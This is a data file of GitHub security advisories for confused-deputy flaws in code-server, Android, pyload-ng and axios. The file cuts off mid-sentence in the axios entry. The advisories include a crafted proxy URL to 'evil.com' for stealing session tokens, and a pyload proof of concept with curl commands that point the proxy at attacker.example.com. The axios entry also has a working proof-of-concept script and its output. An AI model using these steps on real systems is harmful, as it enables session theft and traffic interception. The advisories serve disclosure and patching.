CWE-441

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "code-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.99.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-09T19:34:35Z",
    "nvd_published_at": "2025-05-09T21:15:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.\n\n### Details\n\nFailure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://\u003ccode-server\u003e/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user\u0027s session token.\n\n### Impact\n\nAny user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.\n\nNormally this is used to proxy local ports, however the URL can reference the attacker\u0027s domain instead, and the connection is then proxied to that domain, which will include sending cookies.\n\nWith access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.\n\n### Patches\n\nPatched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.",
  "id": "GHSA-p483-wpfp-42cj",
  "modified": "2025-05-09T21:39:15Z",
  "published": "2025-05-09T19:34:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47269"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/code-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/code-server/releases/tag/v4.99.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "code-server\u0027s session cookie can be extracted by having user visit specially crafted proxy URL"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-28636"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T19:17:55Z",
    "severity": "HIGH"
  },
  "details": "In setupLayout of PickActivity.java, there is a possible bypass of the \"Install unknown apps\" security restriction due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-p5p8-9rh6-6rhf",
  "modified": "2026-09-10T15:32:59Z",
  "published": "2026-09-08T21:34:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28636"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0b3.dev99"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T22:08:26Z",
    "nvd_published_at": "2026-05-11T18:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `set_config_value()` API method (`@permission(Perms.SETTINGS)`) in `src/pyload/core/api/__init__.py` gates security-sensitive options behind a hand-maintained allowlist `ADMIN_ONLY_CORE_OPTIONS`. The allowlist contains `(\"proxy\", \"username\")` and `(\"proxy\", \"password\")` \u2014 which protect the proxy credentials \u2014 but it does **not** include `(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, or `(\"proxy\", \"type\")`. Any authenticated user with the non-admin `SETTINGS` permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.\n\nGating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload\u0027s proxy-auth secret. `proxy.username` / `proxy.password` were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.\n\nThis is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here \u2014 the four `proxy.*` fields are jointly required to weaponize the miss and are patched together.\n\n### Details\n\n**Writer** \u2014 `src/pyload/core/api/__init__.py`, `set_config_value()` (around lines 215\u2013290). The allowlist:\n\n```python\nADMIN_ONLY_CORE_OPTIONS = {\n    (\"general\", \"storage_folder\"),\n    (\"log\", \"syslog_host\"), (\"log\", \"syslog_port\"),\n    (\"proxy\", \"password\"), (\"proxy\", \"username\"),   # \u003c-- credentials gated\n    (\"reconnect\", \"script\"),\n    (\"webui\", \"host\"),\n    (\"webui\", \"ssl_certfile\"), (\"webui\", \"ssl_keyfile\"), (\"webui\", \"ssl_certchain\"),\n    (\"webui\", \"use_ssl\"),\n}\n```\n\n`(\"proxy\", \"enabled\")`, `(\"proxy\", \"host\")`, `(\"proxy\", \"port\")`, `(\"proxy\", \"type\")` are absent.\n\n**Reader** \u2014 `src/pyload/core/network/request_factory.py:82-100`:\n\n```python\ndef get_proxies(self):\n    if not self.pyload.config.get(\"proxy\", \"enabled\"):\n        return {}\n    proxy_type     = self.pyload.config.get(\"proxy\", \"type\")\n    proxy_host     = self.pyload.config.get(\"proxy\", \"host\")\n    proxy_port     = self.pyload.config.get(\"proxy\", \"port\")\n    proxy_username = self.pyload.config.get(\"proxy\", \"username\") or None\n    proxy_password = self.pyload.config.get(\"proxy\", \"password\") or None\n    return {\"type\": proxy_type, ..., \"host\": proxy_host, \"port\": proxy_port, ...}\n```\n\n**Sink** \u2014 `src/pyload/core/network/http/http_request.py` (around lines 211\u2013230) passes the dict to pycurl via `PROXY` / `PROXYPORT` / `PROXYTYPE` options. `get_proxies()` is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request \u2014 no restart required.\n\n### PoC\n\nAuthenticated as any user with `Perms.SETTINGS` (non-admin role):\n\n```bash\n# 1) Log in as the SETTINGS (non-admin) user.\ncurl -c cookies.txt -X POST http://pyload.example:8000/api/login \\\n    -d \u0027username=settings_user\u0026password=\u003cpassword\u003e\u0027\n\n# 2) Redirect all outbound traffic through attacker.example.com:8080.\nfor kv in \\\n    \u0027category=proxy\u0026option=enabled\u0026value=True\u0027 \\\n    \u0027category=proxy\u0026option=host\u0026value=attacker.example.com\u0027 \\\n    \u0027category=proxy\u0026option=port\u0026value=8080\u0027 \\\n    \u0027category=proxy\u0026option=type\u0026value=http\u0027 ; do\n  curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \\\n      -d \"$kv\u0026section=core\"\ndone\n\n# 3) Enqueue any download (or wait for any periodic update / captcha\n#    fetch). The attacker\u0027s server receives the full request \u2014 URL,\n#    query string (often carrying auth tokens on download sites),\n#    headers, cookies \u2014 and can inject an arbitrary response body.\n```\n\nVerification: run a raw HTTP listener on attacker.example.com:8080 (e.g. `socat -v TCP-LISTEN:8080,fork,reuseaddr -`), trigger any pyload download, and observe the full request on the listener.\n\n### Impact\n\n- **Who**: any authenticated user whose role was granted `Perms.SETTINGS`. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius.\n- **What**:\n    1. **Full interception of all outbound HTTP traffic**: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker.\n    2. **Credential theft** from any download-site auth cookies or bearer tokens that affected plugins send.\n    3. **Arbitrary response injection** \u2014 poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker.\n    4. **Chains with the sibling `ssl_verify` advisory**: if the attacker additionally sets `general.ssl_verify=off` (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what `set_config_value` already permits to a SETTINGS user.\n- **Why gating the credentials alone is insufficient**: already covered in the summary \u2014 the attacker owns the proxy endpoint, so they do not need pyload\u0027s proxy-auth creds.",
  "id": "GHSA-pg67-9wjv-mr85",
  "modified": "2026-06-08T19:48:19Z",
  "published": "2026-05-04T22:08:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-pg67-9wjv-mr85"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42313"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-4744-96p5-mp2j"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-ppvx-rwh9-7rj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r7mc-x6x7-cqxx"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-w48f-wwwf-f5fr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-127.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy via unrestricted `proxy.*` config (incomplete fix for CVE-2026-33509 / -35463 / -35464 / -35586)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:20:58Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "HIGH"
  },
  "details": "**1. Executive Summary**\nThis report documents an **incomplete security patch** for the previously disclosed vulnerability **GHSA-3p68-rc4w-qgx5 (CVE-2025-62718)**, which affects the `NO_PROXY` hostname resolution logic in the Axios HTTP library.\n\n**Background \u2014 The Original Vulnerability**\nThe original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against `NO_PROXY` rules. Specifically, a request to `http://localhost./` (with a trailing dot) or `http://[::1]/` (with IPv6 bracket notation) would **bypass NO_PROXY matching entirely** and be forwarded to the configured HTTP proxy \u2014 even when `NO_PROXY=localhost,127.0.0.1,::1` was explicitly set by the developer to protect loopback services.\n\nThe Axios maintainers addressed this in **version 1.15.0** by introducing a `normalizeNoProxyHost()` function in `lib/helpers/shouldBypassProxy.js`, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.\n\n**The Incomplete Patch \u2014 This Finding**\nWhile the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), **the fix is architecturally incomplete**.\n\nThe patch introduced a hardcoded set of recognized loopback addresses:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n```\nHowever, **RFC 1122 \u00a73.2.1.3** explicitly defines the **entire 127.0.0.0/8 subnet** as the IPv4 loopback address block not just the single address `127.0.0.1`. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range `127.0.0.2` through `127.255.255.254` is a valid, functional loopback address that routes to the local machine.\n\nAs a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the `127.0.0.0/8` range (e.g., `127.0.0.2`, `127.0.0.100`, `127.1.2.3`) to **completely bypass** the `NO_PROXY` protection even in the fully patched Axios 1.15.0 release.\n\n**Verification**\nThis bypass has been **independently verified** on:\n\n* **Axios version:** 1.15.0 (latest patched release)\n* **Node.js version:** v22.16.0\n* **OS:** Kali Linux (rolling)\n\nThe Proof-of-Concept demonstrates that while `localhost`, `localhost`., and `[::1]` are correctly blocked by the patched version, requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` are **transparently forwarded to the attacker-controlled proxy server**, confirming that the patch does not cover the full RFC-defined loopback address space.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\n**2.1 Vulnerable File \u0026 Location**\n\n| Field | Detail |\n| ------------- | ------------- |\n| File | lib/helpers/shouldBypassProxy.js| \n| Primary Flaw| isLoopback() \u2014 Line 1\u20133 |\n| Supporting Function | shouldBypassProxy() \u2014 Line 59\u2013110 |\n| Axios Version | 1.15.0 (Latest Patched Release) |\n\n**2.2 How Axios Routes HTTP Requests  The Call Chain**\nWhen Axios dispatches any HTTP request, `lib/adapters/http.js` calls `setProxy()`, which invokes `shouldBypassProxy()` to decide whether to honour a configured proxy:\n\n```\n// lib/adapters/http.js \u2014 Lines 191\u2013199\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  if (!proxy \u0026\u0026 proxy !== false) {\n    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var\n    if (proxyUrl) {\n      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY\n        proxy = new URL(proxyUrl);               // Step 3: Assign proxy\n      }\n    }\n  }\n}\n```\n`shouldBypassProxy()` is the **single gatekeeper** for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.\n\n**2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)**\nBefore Axios 1.15.0, hostnames were compared against `NO_PROXY` using a **raw literal string match** with no normalization:\n\n```\nRequest URL \u2192 http://localhost./secret\nNO_PROXY    \u2192 \"localhost,127.0.0.1,::1\"\nComparison:\n  \"localhost.\" === \"localhost\"   \u2192  FALSE  \u2192  Proxy used  \u2190 BYPASS\n  \"[::1]\"     === \"::1\"         \u2192  FALSE  \u2192  Proxy used  \u2190 BYPASS\n```\nBoth `localhost.` (FQDN trailing dot, RFC 1034 \u00a73.1) and `[::1]` (bracketed IPv6 literal, RFC 3986 \u00a73.2.2) are **canonical representations of loopback addresses**, but Axios treated them as unknown hosts.\n\n\n**2.4 What the Patch Fixed (Axios 1.15.0)**\nThe patch introduced three changes inside `lib/helpers/shouldBypassProxy.js`:\n\n\u003cimg width=\"602\" height=\"123\" alt=\"01_axios_version_verification\" src=\"https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5\" /\u003e\n\n**Fix A `normalizeNoProxyHost()` (Lines 47\u201357)**\nStrips alternate representations before comparison:\n\n```\nconst normalizeNoProxyHost = (hostname) =\u003e {\n  if (!hostname) return hostname;\n  // Remove IPv6 brackets: \"[::1]\" \u2192 \"::1\"\n  if (hostname.charAt(0) === \u0027[\u0027 \u0026\u0026 hostname.charAt(hostname.length - 1) === \u0027]\u0027) {\n    hostname = hostname.slice(1, -1);\n  }\n  // Strip trailing FQDN dot: \"localhost.\" \u2192 \"localhost\"\n  return hostname.replace(/\\.+$/, \u0027\u0027);\n};\n```\n**Fix B Cross-Loopback Equivalence (Lines 1\u20133 \u0026 108)**\nAllows `127.0.0.1` and `localhost` to match each other interchangeably:\n\n```\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// Line 108 \u2014 Final match condition:\nreturn hostname === entryHost\n    || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n//      If both sides are \"loopback\" \u2192 treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 \u0026 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1  \u2190 ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n//                                              ^^^^^^^^^^^\n//                              Only ONE IPv4 loopback address is recognized.\n//                              The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 \u2014 Lookup against this incomplete set:\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n//                                               ^^^^^^^^^\n//                          Returns FALSE for any 127.x.x.x \u2260 127.0.0.1\n```\n\u003cimg width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" /\u003e\n\n***RFC 1122 \u00a73.2.1.3 is unambiguous:**\n\n\u003e \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n\u003cimg width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" /\u003e\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY   = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 \u2014 Parse the request URL\nparsed   = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\"    // parsed.hostname\n// Step 2 \u2014 Read NO_PROXY environment variable\nnoProxy  = \"localhost,127.0.0.1,::1\"   // lowercased\n// Step 3 \u2014 Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n//          No brackets \u2192 skip\n//          No trailing dot \u2192 skip\n//          Result: \"127.0.0.2\"  (unchanged)\n// Step 4 \u2014 Iterate over NO_PROXY entries\n//  Entry \u2192 \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\"                  \u2192 false\nisLoopback(\"127.0.0.2\")                      \u2192 false  \u2190 Set.has() returns false\n                                                          BYPASS starts here\n//  Entry \u2192 \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\"                 \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"127.0.0.1\")\n  \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     \u2192 false  \u2190 Same failure\n  \u2192 false\n//  Entry \u2192 \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\"                        \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"::1\")\n  \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\")     \u2192 false  \u2190 Same failure\n  \u2192 false\n// Step 5 \u2014 Final return\nshouldBypassProxy() \u2192 false\n//  Axios proceeds to route the request through the configured proxy.\n//  The attacker\u0027s proxy server receives the full request including headers\n//  and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 \u0026 RFC 3986 | Violates RFC 1122 \u00a73.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass \u2192 SSRF | NO_PROXY bypass \u2192 SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch:    127.0.0.1          (1 address)\nUnprotected loopback:  127.0.0.2\n                       through\n                       127.255.255.254    (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 \u2014 Create a fresh project directory\n```\nmkdir axios-bypass-test \u0026\u0026 cd axios-bypass-test\n```\n**Step 2 \u2014 Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"axios\": \"1.15.0\"\n  }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 \u2014 Create the PoC file (`poc.js`)**\n\n```\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n// \u2500\u2500 Simulated attacker-controlled proxy server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) =\u003e {\n  console.log(\u0027\\n[!] PROXY HIT \u2014 Attacker proxy received request!\u0027);\n  console.log(`    Method : ${req.method}`);\n  console.log(`    URL    : ${req.url}`);\n  console.log(`    Host   : ${req.headers.host}`);\n  res.writeHead(200);\n  res.end(\u0027proxied\u0027);\n}).listen(PROXY_PORT);\n// \u2500\u2500 Simulated developer security configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY   = \u0027localhost,127.0.0.1,::1\u0027;\n// \u2500\u2500 Test helper \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nasync function test(url) {\n  console.log(`\\n[*] Testing: ${url}`);\n  try {\n    const res = await axios.get(url, { timeout: 2000 });\n    if (res.data === \u0027proxied\u0027) {\n      console.log(\u0027    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED\u0027);\n    } else {\n      console.log(\u0027    Result \u2192 [DIRECT]   \u2190 Safe, no proxy used\u0027);\n    }\n  } catch (err) {\n    if (err.code === \u0027ECONNREFUSED\u0027) {\n      console.log(\u0027    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)\u0027);\n    }\n  }\n}\n// \u2500\u2500 Test execution \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nsetTimeout(async () =\u003e {\n  // Section A: Cases fixed by the existing patch \u2014 expected to go DIRECT\n  console.log(\u0027\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\u0027);\n  await test(\u0027http://localhost:9191/secret\u0027);\n  await test(\u0027http://localhost.:9191/secret\u0027);\n  await test(\u0027http://[::1]:9191/secret\u0027);\n  // Section B: Bypass cases \u2014 expected to go DIRECT, but actually go through proxy\n  console.log(\u0027\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\u0027);\n  await test(\u0027http://127.0.0.2:9191/secret\u0027);\n  await test(\u0027http://127.0.0.100:9191/secret\u0027);\n  await test(\u0027http://127.1.2.3:9191/secret\u0027);\n  process.exit(0);\n}, 500);\n```\n\n**Step 4 \u2014 Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://localhost.:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n[*] Testing: http://[::1]:9191/secret\n    Result \u2192 [DIRECT]   \u2190 ECONNREFUSED (request did not go through proxy)  \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.2:9191/secret\n    Host   : 127.0.0.2:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.0.0.100:9191/secret\n    Host   : 127.0.0.100:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n    Method : GET\n    URL    : http://127.1.2.3:9191/secret\n    Host   : 127.1.2.3:9191\n    Result \u2192 [PROXIED]  \u2190 BYPASS CONFIRMED                                 \n```\n\u003cimg width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" /\u003e\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 \u00a73.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target \u2014 Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment\n              (common in corporate networks, cloud deployments,\n               containerised environments, and CI/CD pipelines)\nCondition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n              to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above 